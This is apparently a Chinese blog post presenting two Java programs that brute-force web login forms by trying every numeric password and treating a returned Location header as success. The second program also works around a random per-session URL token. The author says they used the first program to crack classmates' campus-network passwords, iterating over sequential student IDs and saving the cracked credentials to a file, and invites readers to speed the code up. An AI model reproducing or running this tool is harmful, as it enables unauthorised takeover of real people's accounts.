註:以下破解思路及代碼源自我同學木子
1、先來看一個無任何安全措施的登入系統的破解方法:每次類比表單提交,若登入成功,此時返回的前序資訊中有Location欄位,登入失敗無此欄位,繼續類比登入。直到破解成功,本人成功破解部分同學校園網登入密碼(純四位元字的)代碼如下:
package demo.net;import java.io.IOException;import java.io.PrintWriter;import java.net.HttpURLConnection;import java.net.URL;import mine.util.io.TextFile;//暴力法破解簡單登入系統:該系統無任何安全措施public class PostTest {String urlString = "登入頁面的url";public PostTest() {}public PostTest(String urlString) {this.urlString = urlString;}// 提交一次使用者請求private boolean doPost(String user, String password) {boolean sucess = false;try {URL realUrl = new URL(urlString);HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection();conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);// 提交表單,發送的資料是直接用Firebug截取的然後把使用者名稱,密碼部分換成參數PrintWriter out = new PrintWriter(conn.getOutputStream());out.print("要提交的表單資訊");out.flush();// 如果登入不成功,前序中沒有Location欄位,getHeaderField("Location") 返回null// 登入成功,返回一個隨機的Location欄位// System.out.println(conn.getHeaderFields());if (conn.getHeaderField("Location") != null) {sucess = true;}} catch (IOException e) {e.printStackTrace();}return sucess;}// 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list// user:使用者名稱 , n:字元下標 , len:字元數組長度,也就是密碼長度private boolean createPassWord(String user, char[] str, int n, int len) {if (n == len) {String ps = new String(str);if (doPost(user, ps)) {//System.out.println("sucess:" + user + " : " + ps);TextFile.write("file/校園網使用者名稱及密碼.txt", true, "sucess:" + user+ " : " + ps + "\n");return true;}return false;}for (int i = 0; i <= 9; i++) {str[n] = (char) (i + '0');if (createPassWord(user, str, n + 1, len))return true;}return false;}// 破解一個使用者的密碼public void test(String user) {for (int i = 0; i < 4; i++) {if (createPassWord(user, new char[i + 1], 0, i + 1))break;}}public static void main(String[] args) {PostTest pt = new PostTest();for (int i = 1; i <= 9; i++)pt.test("09050510" + i);for (int i = 10; i <= 31; i++)pt.test("0905051" + i);}}
這個範例程式碼中只破解密碼為4位或4位元字之內的密碼,大概破解一個使用者需要十分鐘。如果破解5、6...更長的密碼,破解時間將很長。
註:以下破解思路及代碼源自我同學木子
2、在有些登入系統會採用安全措施,每次登入都會在url上產生一個隨機值,該值為前序資訊中的Location欄位的值,所以破解時要先獲得該值,然後組成真正的url給伺服器發送表單資訊,這裡要進行兩次串連,第一次擷取Location欄位的值,第二次才是真正的類比登入。注意要禦制重新導向。代碼如下:
package demo.net;import java.io.IOException;import java.io.PrintWriter;import java.net.HttpURLConnection;import java.net.URL;//暴力法破解登入系統:該登入系統的特徵是前序資訊中有Location欄位,該欄位的值隨機產生public class HttpTest {//要破解的登入系統的urlString urlString = "要破解的系統的url";public HttpTest() {}public HttpTest(String urlString) {this.urlString = urlString;}// 提交一次使用者請求private boolean doPost(String user, String password) {boolean sucess = false;try {// 先通過url擷取head中Location欄位,這個欄位是隨機的,每次串連都不一樣URL url = new URL(urlString);HttpURLConnection connection = (HttpURLConnection) url.openConnection();connection.setRequestMethod("HEAD");connection.setInstanceFollowRedirects(false);// 不讓重新導向,這樣才會返回Location欄位資訊connection.connect();// 通過擷取的Location欄位的資訊構造真正提交表單的urlURL realUrl = new URL(urlString+ connection.getHeaderField("Location"));HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection();conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);// 提交表單,發送的資料是直接用Firebug截取的然後把使用者名稱,密碼部分換成參數PrintWriter out = new PrintWriter(conn.getOutputStream());out.print("登入時提交的表單資訊");out.flush();// 如果登入不成功,前序中沒有Location欄位,getHeaderField("Location") 返回null// 登入成功,返回一個隨機的Location欄位// System.out.println(conn.getHeaderFields());if (conn.getHeaderField("Location") != null) {sucess = true;}} catch (IOException e) {e.printStackTrace();}return sucess;}// 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list// user:使用者名稱 , n:字元下標 , len:字元數組長度,也就是密碼長度private boolean createPassWord(String user, char[] str, int n, int len) {if (n == len) {String ps = new String(str);if (doPost(user, ps)) {System.out.println("sucess:" + user + " : " + ps);return true;}return false;}for (int i = 0; i <= 9; i++) {str[n] = (char) (i + '0');if (createPassWord(user, str, n + 1, len))return true;}return false;}// 破解一個使用者的密碼public void test(String user) {for (int i = 5; i < 20; i++) {if (createPassWord(user, new char[i + 1], 0, i + 1))break;}}public static void main(String[] args) {HttpTest pt = new HttpTest();pt.test("090505105");}}
當然以上兩個程式碼範例只是原理上的實現,實際中成功機率不大,因為破解6位純數位密碼大概要30個小時,而且很多密碼中還有字母。。。有興趣的可以最佳化一下代碼啊,看能不能縮短破解時間。